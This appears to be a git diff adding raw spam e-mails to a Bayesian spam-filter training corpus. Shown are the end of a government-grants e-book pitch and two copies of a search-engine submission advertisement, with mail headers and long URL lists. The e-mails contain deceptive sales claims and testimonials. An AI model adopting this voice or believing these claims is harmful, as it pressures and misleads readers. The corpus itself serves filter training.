    If you want to order, we +insist you do so entirely at our risk. That is why the E-book comes with +a... No Risk full year Money-Back Guarantee. There is absolutely +NO RISK on your part with this 365 day guarantee. What we mean is we want +you to order without feeling you might "get taken."
    + +
    Therefore, we want you to +order this material today... read it, use it... and if for any reason you +aren't completely satisfied, you not only can cancel, you should, +for an immediate refund of your purchase price. You simply can't lose.
    + +
    Free +Bonuses
    + +
    Just to "sweeten" the deal, +I'll include the following four valuable bonuses, that you can keep +as a gift, even if you later decide not to keep the Grants Guide!
    + +
    Free Bonus #1:
    + +
    A Fully Featured Grants +Writing Tutorial Software Package
    + +
    THIS INFO ALONE IS WORTH +THOUSANDS OF DOLLARS - I GUARANTEE YOU CAN PURCHASE A GRANTS CD OR INFO +ANYWHERE, AND YOU WILL NOT RECEIVE THIS DOWNLOADABLE SOFTWARE THAT ACTUALLY +SHOWS YOU HOW TO APPLY AND WHAT TO SAY, SO THAT YOU ARE ACCEPTED FOR A +GRANT !!!
    + +
    This interactive software +tool will walk you through the grant-writing process and will teach you +everything you need to know to write competitive grants proposals.
    + +
    The program includes:
    + +
      +
      detailed information and +tips on writing grants proposals;
      + +
      how to complete a grant +application package;
      + +
      examples of good, complete +grant packages;
      + +
      a glossary of grants terms;
      + +
      resources and contacts;
      + +
      a mock grants-writing activity +where you will be able to compare your results to a successful grant application
      + +
      plus much much more
      +
    + +
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    + +
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    + +
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    + +
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    + +
    Here's +just a taste of what's in the guide:
    + +
    How +to determine the feasibility of your business idea. A complete fill in +the blanks template system that will help you predict problems before they +happen and keep you from losing your shirt on dog business ideas.
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    + +
    Discover the easiest, simplest +ways to find new products for your business that people are anxious to +buy.
    + +
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    + +
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    + +
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    + +
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    + +
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    + +
    A complete step by step +guide guaranteed to help you increase your profits by up to 64%, I call +it "The Profit Planning Guide". This is a simple, practical, common sense +strategy, but amazingly enough, almost no one understands or uses it.
    + +
    Free Bonus #4:
    + +
    Guide To Home Business +Success
    + +
    This +is a fast, no-frills guide +to starting and succeeding in a home based business. Here's just a taste +of what's in the guide:
    + +
    Home +business: is it for you?
    + +
    What +are the secrets behind the people who have million dollar home based businesses? +you'll find a 24 tip list proven to turn your home business into a money +machine.
    + +
    Laws and regulations you +must be aware of to avoid legal errors.
    + +
    Planning +a home based business - Insider secrets and tips revealed for ensuring +your success in a home business.
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    Fundamentals +of home business financial planning.
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    +Who I Am and Why I'm Qualified +to Give +
    You The Best Grants Advice +Available +
    I'm +the president of a leading Internet based information business. I'm also +the creator of "The Managing a Small Business CD-ROM" and the author of +five books.
    + +
    I've +been involved in obtaining grants and in small business for the past 23 +years of my life, as a business coach, a manager of a consulting firm, +a seminar leader and as the owner of five successful businesses.
    + +
    During +my career as a business coach and consultant I've helped dozens of business +owners obtain government grants, start their businesses, market, expand, +get out of troubles, sell their businesses and do practically every other +small business activity you can think of.
    + +
    The +Guide presented here contains every tip, trick, technique and strategy +I've learned during my 23 year career. You practically get my whole brain +in a form of an E-book.
    +How the Grants Guide is priced? +
    The Complete Guide To +Government Grants is normally priced at $50, but...
    + +
    ... as part of an Online +marketing test, if you purchase from this sale you pay only $19.99 (that's +75% off ...plus, you still get the FREE valuable bonuses.)
    + +
    If +you are serious about obtaining free grants money, you need this +guide. Don't delay a moment longer. Order Now !!! 
    +P.S. The Complete Guide To Government +Grants will make a huge difference. You risk nothing. The guide is not +the original price of $50, but only $19.99 (if you purchase through +this sale ) and comes with a one year money back guarantee. And you +get four valuable free bonuses which you may keep regardless. Don't delay +a moment longer, ORDER NOW !!!! +
      + +

    Shipping +and Handling is FREE since we will +email you all of this info via access to our secure website which contains +everything described above. +
    +

    +
    +

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    + +If above link doesn't work, Click Here +
    + +

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    + + + + + + + diff --git a/bayes/spamham/spam_2/01094.91779ec04e5e6b27e84297c28fc7369f b/bayes/spamham/spam_2/01094.91779ec04e5e6b27e84297c28fc7369f new file mode 100644 index 0000000..65b0116 --- /dev/null +++ b/bayes/spamham/spam_2/01094.91779ec04e5e6b27e84297c28fc7369f @@ -0,0 +1,908 @@ +From regal3@freeuk.com Fri Jul 26 03:51:44 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id D75E3440E7 + for ; Thu, 25 Jul 2002 22:51:33 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 26 Jul 2002 03:51:33 +0100 (IST) +Received: from mydomain.com (210.Red-80-35-221.pooles.rima-tde.net + [80.35.221.210]) by dogma.slashnull.org (8.11.6/8.11.6) with SMTP id + g6Q2lK419136 for ; Fri, 26 Jul 2002 03:47:28 + +0100 +Message-Id: <200207260247.g6Q2lK419136@dogma.slashnull.org> +From: "Important Message!" +To: "Iiu-list-request" +Subject: Your Shop web site is NOT being SEEN! +Date: Fri, 26 Jul 2002 04:54:06 +0200 +MIME-Version: 1.0 +X-Priority: 1 +X-Msmail-Priority: High +Reply-To: "Important Message!" +Organization: Regal +X-Mailer: Internet Mail Service +Content-Type: multipart/alternative; boundary="----_NextPart_6193500912" + +This is a multi-part message in MIME format. + +------_NextPart_6193500912 +Content-Type: text/plain; charset="ISO-8859-1" +Content-Transfer-Encoding: QUOTED-PRINTABLE + + Your Shop Web Site is +NOT Being SEEN +WHY? +NO ONE CAN FIND IT! + +YOUR web site is NOT on many search engines and at the Bottom of their listings and as a result + +YOU are LOSING customers who cannot find you! + +Can this be changed? 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Australia Aussie.com.au http://www.aussie.com.au +The Australian Internet Directory http://203.17.138.111/taid The Australian Yellow +Pages http://www.yellowpages.com.au LookSmart http://www.looksmart.com.au +Australian Internet Directories http://www.sofcom.com/directories +Search Australia http://www.cowleys.com.au Telstra http://www.telstra.com.au +Web Wombat http://www.webwombat.com.au Hong Kong Hong Kong Internet Directory +http://www.internet-directory.com Hong KongWorld Wide +Web Database http://mmlab.csc.cuhk.edu.hkn Timway Hong Kong Search Engine +http://www.hksrch.com/searchengine.html India 123India http://www.123india.com +Khoj http://www.khoj.com Indonesia IndonesiaNet http://www.indonesianet.com/search.htm +Japan Dragon Next http://dragon.co.jp Hole-in-One (Excite Japan) http://hole-in-one.com/hio InfoNavigator http://infonavi.infoweb.or.jp Mondou http://zagato.kuamp.kyoto-u.ac.jp Orions http://www.orions.ad.jp Stellar http://www.stellar.co.jp Watch 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    +

     Your Shop Web Site is +

    +

    NOT Being +SEEN

    +
    WHY?
    +
    NO ONE CAN FIND IT!
    +
     
    +
    YOUR web site is +NOT on many search engines and at the Bottom of their +listings and as a result
    +
     
    +
    YOU are LOSING customers who cannot find +you!
    +
     
    +
    Can this be changed? YES!
    Regal Telecom
    +
    For ONLY =A379.97
    +
     
    +
    We +will submit your web site to over 350 of the worlds search +engines.
    +
    (see full list of Search Engines at the end of this +document)
    +
     
    +
    We will submit your site with the most +effective meta tags and keywords. +
    +
    (See our money back guarantee) +
    +
     
    +
    We know what the search engines are looking +for.
    +
     
    +
    How do we +know? We look at the top five web sites in your category and use the same +meta tags and key words that they use.
    +
     
    +
    If it +works for them it will work for you!
    +
     
    +
    So YOUR web site can be
    FOUND and +SEEN
    +
     
    +
    For Twelve Months! +Guaranteed!
    +
     (See our +testimonials)
    +
     
    +
     
    +
    Think about +it!
    +
    Just as you have a web +designer to build your site and a company to host your site,does it not +make sense to use a company that specializes in professionally submitting your +web site.
    +
    Getting +your web site FOUND and SEEN!
    +
     
    +
     
    +
     A Shocking +Fact!
    +
    Your web site +designer and your host are NOT responsible for +getting your web site seen!  Yes, they +may submit your site to a few search engines periodically but +to stay on the TOP of the search engines is an aggressive +business.
    +
     
    +
    Getting onto the search +engines and at the top of their listings doesn't  just +happen.
    +
     
    +
    You +have to be put there!
    +
     
    +
    What the.Net, The +Internet Magazine 8/2000 said:
    +
    "You have your web site +designed and have sorted out the maintenance and waiting for the business to +roll in, but there's one small problem.... No one +knows!"
    +
     
    +
    You need a professional +company to do it!
    +
     
    +
    Your Money +Back
    +
    Guarantee! +
    +
    If you do not receive +confirmation from the search engines that we submit your web site +to, we will give you your money back! +Guaranteed!
    +
     
    +
    There is nothing to +lose!
    +
     
    +
     
    +
    Some +testimonials of those that have used
    +
    Regal +Telecom
    +
    "This service is my secret +weapon. I never believed it was possible to have such a rapid +response." etvcom.tv
    +
     
    +
     
    +
    "I have been truly amazed +by the results. I have received enquires from Austria, Hawaii, Spain and many +different parts of Britain for my international real estate business. This is +directly due to this service. I definitely recommend it! +
    +
    Worth +every penny!" keyhomes.net
    +
     
    +
    +
    "We run a +Cancer Clinic and it is essential that our web site is submitted to as many +search engines as possible. We are looking forward to having the capability to +do online video conferencing and online diagnosis with our patients from many +parts of the world. It is a real advantage to have the capabilities that +
    +
    Regal Telecom +offers." Mari Posas Cancer +Clinic.
    +
     
    +
    "We +never received a single inquiry until we used Regal Telecom" noniuk.co.uk
    +
     
    +
     
    +
    To +submit your web site all we need is your web site and  e-mail +address.
    +
     
    +
    We will do the +rest!
    +
     
    +
    Once we have submitted +your web site you will receive a dramatic response by e-mail from search engines +around the world confirming that you are listed on +them.
    +
     
    +
     This will happen every month for the next +year!
    +
     
    +
    To Book +our Service Simply
    +
    PRESS this
    + +
     
    +
    Button and we can +begin submitting your web site to the worlds search engines +today!
    +
    Then be ready for +the response!
    +
     
    +
    Within 24 hours your +web site will begin to be submitted to over 350 search engines world wide and +every month
    +
     thereafter for +the next year.
    +
     
    +
    The results will astound you!
    +
     
    +
    Most +of your competition are unaware of the facts below!
    +
    This is to YOUR +Advantage!
    +
     
    +
     
    +
    Web Site +Facts
    +
    Remember "The Yellow +Pages" Rule! 
    +
     A +search engine is like an enormous "yellow pages" with thousands of companies +advertising the same product.  Unless you are near the front of the +listing your chances of a customer actually seeing you is remote.  +Unlike a literal yellow pages there +is a way to move YOU to the front and also get you on all of the "Yellow pages" +in the world.
    +
     
    +
    What does it take to be +seen on the
    +
    Search +Engines?
    +
     
    +
    Appreciate the Three Golden Rules
    +

    q Search engines do not pull up the web sites at random +they use a specific method of search. Those that know them are the ones at the +top, those that do not are buried at the +bottom! 

    +

    q Your web site must be submitted to the search +engines every month otherwise your site gets pushed off (Its a bit like a +Ferris wheel, you get on and then after a while you are taken off unless +you +get another ticket and get back on).

    +

    q Understand the importance of Keywords, Meta tags, and Titles +employed when submitting your site to the search +engines! 

    +

    Use the right ones +and you go up.

    +

    Get it +wrong and you go to the bottom!

    +
    Some feel that it is enough to be on the large +search engines.
    +
    Wrong! The problem is because of their sheer size most web sites get +buried.  Having your web site professionally submitted can boost you up the +listings of these larger search engines, so you can be found on them.  Also +many people use the smaller search engines and if your site is professionally +submitted your chances of getting to the top are greatly increased. +
    +
     
    +
    It is +essential to be on them!
    +
     
    +
    Having +Regal Telecom expertly submit your web site every month to +worlds search engines will give YOU +the Advantage you +need. 
    +
     This can make the difference between new customers +
    +
    FINDING your web site or +NOT!
    +
     
    +
    Be +on ALL of these
    +
    Search +Engines
    +
     Excite, Altavista, Google, Hotboot, +WhatUseek, Lycos, WebCrawler, NorthernLight, DirectHit, AlltheWeb, Pepesearch, +Searchit, 
    +
    http://search.yell.co.uk   UK Directory +http://www.yell.co.uk/yell/web/index.html
    http://www.ukdirectory.com UK Plus http://www.ukplus.co.uk
    UK Web TheBrit Index +Media UK The UK Web Library http://www.scit.wlv.ac.uk UK Yellow Web  Whatsnew http://www.whatsnew.com/uk http://yacc.co.uk/britind
    Demon Site of Sites +    http://www.brains.demon.co.ukm +http://www.mediauk.com/directory LookSmart http://www.looksmart.co.ukUK Cybersearch
    http://www.cybersearch.co.uk UK/Ireland UK & Ireland http://www.altavista.telia.com
    Austria +Austrian Internet  Directory http://www.aid.co.at Intersearch
    http://austria.intersearch.net Advalvas Yellow Pages http://yellow.advalvas.be
    Le trouv'tout +http://www2.ccim.be Webwatch http://webwatch.be Czech Republic
    CZECH Info Center     http://www.icml.com Seznam http://www.seznam.cz Denmark
    Dansk Web Index     http://www.web-index.dk Jubii http://www.jubii.dk France Carrefour
    http://www.carrefour.net CNRS http://www.cnrs.fr ECILA http://www.ecila.frECHO http://www.echo.fr France Excite http://fr.excite.com Lokace http://lokace.iplus.fr Nomade http://www.nomade.fr Voila
    http://www.voila.fr Wanadoo http://www.wanadoo.fr Germany Aladin http://www.aladin.de
    AllesKlar http://www.allesklar.de  Crawler http://www.crawler.de
    DINO-Online http://dino-online.de Excite Deutschland http://www.excite.de
    Fireball Express +http://www.fireball.de Flix http://www.flix.de Hit-Net http://hit-net.de
    Hotlist http://www.hotlist.de Inter-Fux http://www.inter-fux.com Intersearch
    http://www.de.intersearch.net Suchen http://www.suchen.de Lotse
    + +
    Spain ELCANO http://www.elcano.com   Trovator http://trovator.combios.es +
    LATIN  AMERICA Argentina DNA Index http://www.iwcc.com Fiera http://www.fiera.com
    GauchoNet http://www.gauchonet.com Bolivia Bolivia Web http://www.boliviaweb.com
    Chile Chile Business +Directory http://www.chilnet.cl Colombia Indexcol http://www.indexcol.com Que Hubo (The  Colombian Yellow  Pages http://www.quehubo.com Costa Rica Info Costa Rica http://www.info.co.cr Mexico
    Mexico Web Guide     http://www.mexico.web.com.mx SBEL http://rtn.net.mx/sbel
    YUPI http://www.yupi.com Venezuela Auyantepui http://www.auyantepuy.com
    Venezuela Online +http://www.venezuelaonline.com Yuada http://www.yuada.com.ve
    NORTH  AMERICA +Canada infoProbe http://www.infoprobe.net Maple Square
    http://maplesquare.com Sympatico Hungary Heureka http://www.heureka.hungary.com
    Italy Ragno +Italiano http://ragno.plugit.net Search in Italy http://www2.crs4.it:8080
    ShinySeek http://www.shinyseek.it Netherlands de Internet Gids http://www.markt.nl
    Ilse http://www.ilse.nl Search.NL http://www.search.nl  SURFnet http://www.nic.surfnet.nl
    Norway Eunet Norge +http://www.eunet.no Nettvik http://nettvik.no ORIGO
    http://www.origo.no SOL Kvasir http://kvasir.sol.no Slovakia
    KIO     http://www.kio.sk Slovenia Slovenia Resources http://www.ijs.si/slo/resources
    Sweden Excite +Sverige http://se.excite.com Lycos Sverige
    http://www.lycos.se Switzerland HEUREKA http://www.heureka.ch Netguide
    http://www.netguide.ch Schweizer Home-page  Directory http://swisspage.ch
    Swisscom http://www.swisscom.ch Swiss FirmIndex Online http://www.firmindex.ch
    Swiss Web http://www.web.ch The Blue Window http://www.bluewin.ch Webdo
    http://www.webdo.ch Turkey Dost Net Turish Web  Sites Directory http://www.dost.net
    Yugoslavia Yu Search http://www.yusearch.com MIDDLE  EAST Isreal Maven http://www.maven.co.il Sivuv http://www.sivuv.co.il Start http://www.start.co.il
    WALLA http://www.walla.co.il AFRICA Regional Africa Online http://www.africaonline.com
    WoYaa!m http://www.woyaa.com South Africa Ananzi http://pub01.ananzi.co.za South Africa Online http://www.southafrica.co.za ASIA
    PACIFIC Regional Asia Internet Plaza      http://www.asia-info.com AsianNet http://www.asiannet.com Asia Online http://www.asiadragons.com Asiaville
    http://www.asiaville.com GlobePage http://www.globepage.com SEA Quest http://seaquest.kusza.edu.my Search Dragon http://www.searchdragon.com
    South Asian Milan +http://www.samilan.com Australia AAA Matilda http://www.aaa.com.au
    Alta Vista http://altavista.yellowpages.com.au Australia/New  Zealand Anzwers
    http://www.anzwers.com.au Australia Aussie.com.au http://www.aussie.com.au
    The Australian +Internet  Directory http://203.17.138.111/taid The Australian Yellow
    Pages     http://www.yellowpages.com.au LookSmart http://www.looksmart.com.au
    Australian +Internet  Directories http://www.sofcom.com/directories
    Search +Australia http://www.cowleys.com.au Telstra http://www.telstra.com.au
    Web Wombat +    http://www.webwombat.com.au Hong Kong Hong Kong Internet  Directory
    http://www.internet-directory.com Hong KongWorld Wide
    Web Database     http://mmlab.csc.cuhk.edu.hkn Timway Hong Kong  Search Engine
    http://www.hksrch.com/searchengine.html India 123India http://www.123india.com
    Khoj http://www.khoj.com Indonesia IndonesiaNet http://www.indonesianet.com/search.htm
    Japan +Dragon Next http://dragon.co.jp Hole-in-One (Excite  Japan) +http://hole-in-one.com/hio InfoNavigator http://infonavi.infoweb.or.jp Mondou http://zagato.kuamp.kyoto-u.ac.jp Orions http://www.orions.ad.jp Stellar http://www.stellar.co.jp Watch
    http://www.watch.impress.co.jp Korea Oomph! http://www.oomph.net Malaysia   Informative Malaysia http://www.infomal.com.my Malaysia Search Engine http://www.cari.com.my
    New Zealand Access New +Zealand http://accessnz.co.nz Search http://www.searchnz.co.nz
    Singapore Singapore +Unified  Internet Directory http://edge.com.sgSurfer's Edge
    http://surferes.edge.com.sg
     +
    And +Many More!
    +

    + + +------_NextPart_6193500912-- + + diff --git a/bayes/spamham/spam_2/01095.520dcad6e0ebb4d30222292f51ee76ab b/bayes/spamham/spam_2/01095.520dcad6e0ebb4d30222292f51ee76ab new file mode 100644 index 0000000..c69d919 --- /dev/null +++ b/bayes/spamham/spam_2/01095.520dcad6e0ebb4d30222292f51ee76ab @@ -0,0 +1,907 @@ +From regal3@freeuk.com Fri Jul 26 05:02:52 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id CB637440E7 + for ; Fri, 26 Jul 2002 00:02:37 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 26 Jul 2002 05:02:37 +0100 (IST) +Received: from mydomain.com (210.Red-80-35-221.pooles.rima-tde.net + [80.35.221.210]) by dogma.slashnull.org (8.11.6/8.11.6) with SMTP id + g6Q43a422656 for ; Fri, 26 Jul 2002 05:03:41 +0100 +Message-Id: <200207260403.g6Q43a422656@dogma.slashnull.org> +From: "Important Message!" +To: "Jm" +Subject: Your Shop web site is NOT being SEEN! +Date: Fri, 26 Jul 2002 06:10:34 +0200 +MIME-Version: 1.0 +X-Priority: 1 +X-Msmail-Priority: High +Reply-To: "Important Message!" +Organization: Regal +X-Mailer: Internet Mail Service +Content-Type: multipart/alternative; boundary="----_NextPart_1622483731" + +This is a multi-part message in MIME format. + +------_NextPart_1622483731 +Content-Type: text/plain; charset="ISO-8859-1" +Content-Transfer-Encoding: QUOTED-PRINTABLE + + Your Shop Web Site is +NOT Being SEEN +WHY? +NO ONE CAN FIND IT! + +YOUR web site is NOT on many search engines and at the Bottom of their listings and as a result + +YOU are LOSING customers who cannot find you! + +Can this be changed? YES! +Regal Telecom +For ONLY =A379.97 + +We will submit your web site to over 350 of the worlds search engines. +(see full list of Search Engines at the end of this document) + +We will submit your site with the most effective meta tags and keywords. +(See our money back guarantee) + +We know what the search engines are looking for. + +How do we know? We look at the top five web sites in your category and use the same meta tags and key words that they use. + +If it works for them it will work for you! + +So YOUR web site can be +FOUND and SEEN + +For Twelve Months! Guaranteed! + + (See our testimonials) + + +Think about it! +Just as you have a web designer to build your site and a company to host your site,does it not make sense to use a company that specializes in professionally submitting your web site. +Getting your web site FOUND and SEEN! + + + A Shocking Fact! +Your web site designer and your host are NOT responsible for getting your web site seen! Yes, they may submit your site to a few search engines periodically but to stay on the TOP of the search engines is an aggressive business. + +Getting onto the search engines and at the top of their listings doesn't just happen. + +You have to be put there! + +What the.Net, The Internet Magazine 8/2000 said: +"You have your web site designed and have sorted out the maintenance and waiting for the business to roll in, but there's one small problem.... No one knows!" + +You need a professional company to do it! + +Your Money Back +Guarantee! +If you do not receive confirmation from the search engines that we submit your web site to, we will give you your money back! Guaranteed! + +There is nothing to lose! + + +Some testimonials of those that have used +Regal Telecom +"This service is my secret weapon. I never believed it was possible to have such a rapid response." etvcom.tv + + +"I have been truly amazed by the results. I have received enquires from Austria, Hawaii, Spain and many different parts of Britain for my international real estate business. This is directly due to this service. I definitely recommend it! +Worth every penny!" keyhomes.net + +"We run a Cancer Clinic and it is essential that our web site is submitted to as many search engines as possible. We are looking forward to having the capability to do online video conferencing and online diagnosis with our patients from many parts of the world. It is a real advantage to have the capabilities that +Regal Telecom offers." Mari Posas Cancer Clinic. + + +"We never received a single inquiry until we used Regal Telecom" noniuk.co.uk + + +To submit your web site all we need is your web site and e-mail address. + +We will do the rest! + +Once we have submitted your web site you will receive a dramatic response by e-mail from search engines around the world confirming that you are listed on them. + + This will happen every month for the next year! + +To Book our Service Simply +PRESS this + +BOOK NOW! + +Button and we can begin submitting your web site to the worlds search engines today! +Then be ready for the response! + +Within 24 hours your web site will begin to be submitted to over 350 search engines world wide and every month + thereafter for the next year. + +The results will astound you! + +Most of your competition are unaware of the facts below! +This is to YOUR Advantage! + + +Web Site Facts +Remember "The Yellow Pages" Rule! + A search engine is like an enormous "yellow pages" with thousands of companies advertising the same product. Unless you are near the front of the listing your chances of a customer actually seeing you is remote. Unlike a literal yellow pages there is a way to move YOU to the front and also get you on all of the "Yellow pages" in the world. + +What does it take to be seen on the +Search Engines? + +Appreciate the Three Golden Rules +q Search engines do not pull up the web sites at random they use a specific method of search. Those that know them are the ones at the top, those that do not are buried at the bottom! +q Your web site must be submitted to the search engines every month otherwise your site gets pushed off (Its a bit like a Ferris wheel, you get on and then after a while you are taken off unless you get another ticket and get back on). +q Understand the importance of Keywords, Meta tags, and Titles employed when submitting your site to the search engines! +Use the right ones and you go up. +Get it wrong and you go to the bottom! +Some feel that it is enough to be on the large search engines. +Wrong! The problem is because of their sheer size most web sites get buried. Having your web site professionally submitted can boost you up the listings of these larger search engines, so you can be found on them. Also many people use the smaller search engines and if your site is professionally submitted your chances of getting to the top are greatly increased. + +It is essential to be on them! + +Having Regal Telecom expertly submit your web site every month to worlds search engines will give YOU the Advantage you need. + This can make the difference between new customers +FINDING your web site or NOT! + +Be on ALL of these +Search Engines + Excite, Altavista, Google, Hotboot, WhatUseek, Lycos, WebCrawler, NorthernLight, DirectHit, AlltheWeb, Pepesearch, Searchit, +http://search.yell.co.uk UK Directory http://www.yell.co.uk/yell/web/index.html +http://www.ukdirectory.com UK Plus http://www.ukplus.co.uk +UK Web TheBrit Index Media UK The UK Web Library http://www.scit.wlv.ac.uk UK Yellow Web Whatsnew http://www.whatsnew.com/uk http://yacc.co.uk/britind +Demon Site of Sites http://www.brains.demon.co.ukm http://www.mediauk.com/directory LookSmart http://www.looksmart.co.ukUK Cybersearch +http://www.cybersearch.co.uk UK/Ireland UK & Ireland http://www.altavista.telia.com +Austria Austrian Internet Directory http://www.aid.co.at Intersearch +http://austria.intersearch.net Advalvas Yellow Pages http://yellow.advalvas.be +Le trouv'tout http://www2.ccim.be Webwatch http://webwatch.be Czech Republic +CZECH Info Center http://www.icml.com Seznam http://www.seznam.cz Denmark +Dansk Web Index http://www.web-index.dk Jubii http://www.jubii.dk France Carrefour +http://www.carrefour.net CNRS http://www.cnrs.fr ECILA http://www.ecila.frECHO http://www.echo.fr France Excite http://fr.excite.com Lokace http://lokace.iplus.fr Nomade http://www.nomade.fr Voila +http://www.voila.fr Wanadoo http://www.wanadoo.fr Germany Aladin http://www.aladin.de +AllesKlar http://www.allesklar.de Crawler http://www.crawler.de +DINO-Online http://dino-online.de Excite Deutschland http://www.excite.de +Fireball Express http://www.fireball.de Flix http://www.flix.de Hit-Net http://hit-net.de +Hotlist http://www.hotlist.de Inter-Fux http://www.inter-fux.com Intersearch +http://www.de.intersearch.net Suchen http://www.suchen.de Lotse + http://www.lotse.de Lycos http://www.lycos.de Nathan http://www.nathan.de +Web-Archiv http://www.web-archiv.de WEB.DE http://web.de Deutschland Greece goGREECE http://www.gogreece.com Webindex Greece http://www.webindex.gr +Spain ELCANO http://www.elcano.com Trovator http://trovator.combios.es +LATIN AMERICA Argentina DNA Index http://www.iwcc.com Fiera http://www.fiera.com +GauchoNet http://www.gauchonet.com Bolivia Bolivia Web http://www.boliviaweb.com +Chile Chile Business Directory http://www.chilnet.cl Colombia Indexcol http://www.indexcol.com Que Hubo (The Colombian Yellow Pages http://www.quehubo.com Costa Rica Info Costa Rica http://www.info.co.cr Mexico +Mexico Web Guide http://www.mexico.web.com.mx SBEL http://rtn.net.mx/sbel +YUPI http://www.yupi.com Venezuela Auyantepui http://www.auyantepuy.com +Venezuela Online http://www.venezuelaonline.com Yuada http://www.yuada.com.ve +NORTH AMERICA Canada infoProbe http://www.infoprobe.net Maple Square +http://maplesquare.com Sympatico Hungary Heureka http://www.heureka.hungary.com +Italy Ragno Italiano http://ragno.plugit.net Search in Italy http://www2.crs4.it:8080 +ShinySeek http://www.shinyseek.it Netherlands de Internet Gids http://www.markt.nl +Ilse http://www.ilse.nl Search.NL http://www.search.nl SURFnet http://www.nic.surfnet.nl +Norway Eunet Norge http://www.eunet.no Nettvik http://nettvik.no ORIGO +http://www.origo.no SOL Kvasir http://kvasir.sol.no Slovakia +KIO http://www.kio.sk Slovenia Slovenia Resources http://www.ijs.si/slo/resources +Sweden Excite Sverige http://se.excite.com Lycos Sverige +http://www.lycos.se Switzerland HEUREKA http://www.heureka.ch Netguide +http://www.netguide.ch Schweizer Home-page Directory http://swisspage.ch +Swisscom http://www.swisscom.ch Swiss FirmIndex Online http://www.firmindex.ch +Swiss Web http://www.web.ch The Blue Window http://www.bluewin.ch Webdo +http://www.webdo.ch Turkey Dost Net Turish Web Sites Directory http://www.dost.net +Yugoslavia Yu Search http://www.yusearch.com MIDDLE EAST Isreal Maven http://www.maven.co.il Sivuv http://www.sivuv.co.il Start http://www.start.co.il +WALLA http://www.walla.co.il AFRICA Regional Africa Online http://www.africaonline.com +WoYaa!m http://www.woyaa.com South Africa Ananzi http://pub01.ananzi.co.za South Africa Online http://www.southafrica.co.za ASIA +PACIFIC Regional Asia Internet Plaza http://www.asia-info.com AsianNet http://www.asiannet.com Asia Online http://www.asiadragons.com Asiaville +http://www.asiaville.com GlobePage http://www.globepage.com SEA Quest http://seaquest.kusza.edu.my Search Dragon http://www.searchdragon.com +South Asian Milan http://www.samilan.com Australia AAA Matilda http://www.aaa.com.au +Alta Vista http://altavista.yellowpages.com.au Australia/New Zealand Anzwers +http://www.anzwers.com.au Australia Aussie.com.au http://www.aussie.com.au +The Australian Internet Directory http://203.17.138.111/taid The Australian Yellow +Pages http://www.yellowpages.com.au LookSmart http://www.looksmart.com.au +Australian Internet Directories http://www.sofcom.com/directories +Search Australia http://www.cowleys.com.au Telstra http://www.telstra.com.au +Web Wombat http://www.webwombat.com.au Hong Kong Hong Kong Internet Directory +http://www.internet-directory.com Hong KongWorld Wide +Web Database http://mmlab.csc.cuhk.edu.hkn Timway Hong Kong Search Engine +http://www.hksrch.com/searchengine.html India 123India http://www.123india.com +Khoj http://www.khoj.com Indonesia IndonesiaNet http://www.indonesianet.com/search.htm +Japan Dragon Next http://dragon.co.jp Hole-in-One (Excite Japan) http://hole-in-one.com/hio InfoNavigator http://infonavi.infoweb.or.jp Mondou http://zagato.kuamp.kyoto-u.ac.jp Orions http://www.orions.ad.jp Stellar http://www.stellar.co.jp Watch +http://www.watch.impress.co.jp Korea Oomph! http://www.oomph.net Malaysia Informative Malaysia http://www.infomal.com.my Malaysia Search Engine http://www.cari.com.my +New Zealand Access New Zealand http://accessnz.co.nz Search http://www.searchnz.co.nz +Singapore Singapore Unified Internet Directory http://edge.com.sgSurfer's Edge +http://surferes.edge.com.sg + +And Many More! +regaltelecom@regal.com + + +------_NextPart_1622483731 +Content-Type: text/html; charset="ISO-8859-1" +Content-Transfer-Encoding: QUOTED-PRINTABLE + + + + + + +
    +

     Your Shop Web Site is +

    +

    NOT Being +SEEN

    +
    WHY?
    +
    NO ONE CAN FIND IT!
    +
     
    +
    YOUR web site is +NOT on many search engines and at the Bottom of their +listings and as a result
    +
     
    +
    YOU are LOSING customers who cannot find +you!
    +
     
    +
    Can this be changed? YES!
    Regal Telecom
    +
    For ONLY =A379.97
    +
     
    +
    We +will submit your web site to over 350 of the worlds search +engines.
    +
    (see full list of Search Engines at the end of this +document)
    +
     
    +
    We will submit your site with the most +effective meta tags and keywords. +
    +
    (See our money back guarantee) +
    +
     
    +
    We know what the search engines are looking +for.
    +
     
    +
    How do we +know? We look at the top five web sites in your category and use the same +meta tags and key words that they use.
    +
     
    +
    If it +works for them it will work for you!
    +
     
    +
    So YOUR web site can be
    FOUND and +SEEN
    +
     
    +
    For Twelve Months! +Guaranteed!
    +
     (See our +testimonials)
    +
     
    +
     
    +
    Think about +it!
    +
    Just as you have a web +designer to build your site and a company to host your site,does it not +make sense to use a company that specializes in professionally submitting your +web site.
    +
    Getting +your web site FOUND and SEEN!
    +
     
    +
     
    +
     A Shocking +Fact!
    +
    Your web site +designer and your host are NOT responsible for +getting your web site seen!  Yes, they +may submit your site to a few search engines periodically but +to stay on the TOP of the search engines is an aggressive +business.
    +
     
    +
    Getting onto the search +engines and at the top of their listings doesn't  just +happen.
    +
     
    +
    You +have to be put there!
    +
     
    +
    What the.Net, The +Internet Magazine 8/2000 said:
    +
    "You have your web site +designed and have sorted out the maintenance and waiting for the business to +roll in, but there's one small problem.... No one +knows!"
    +
     
    +
    You need a professional +company to do it!
    +
     
    +
    Your Money +Back
    +
    Guarantee! +
    +
    If you do not receive +confirmation from the search engines that we submit your web site +to, we will give you your money back! +Guaranteed!
    +
     
    +
    There is nothing to +lose!
    +
     
    +
     
    +
    Some +testimonials of those that have used
    +
    Regal +Telecom
    +
    "This service is my secret +weapon. I never believed it was possible to have such a rapid +response." etvcom.tv
    +
     
    +
     
    +
    "I have been truly amazed +by the results. I have received enquires from Austria, Hawaii, Spain and many +different parts of Britain for my international real estate business. This is +directly due to this service. I definitely recommend it! +
    +
    Worth +every penny!" keyhomes.net
    +
     
    +
    +
    "We run a +Cancer Clinic and it is essential that our web site is submitted to as many +search engines as possible. We are looking forward to having the capability to +do online video conferencing and online diagnosis with our patients from many +parts of the world. It is a real advantage to have the capabilities that +
    +
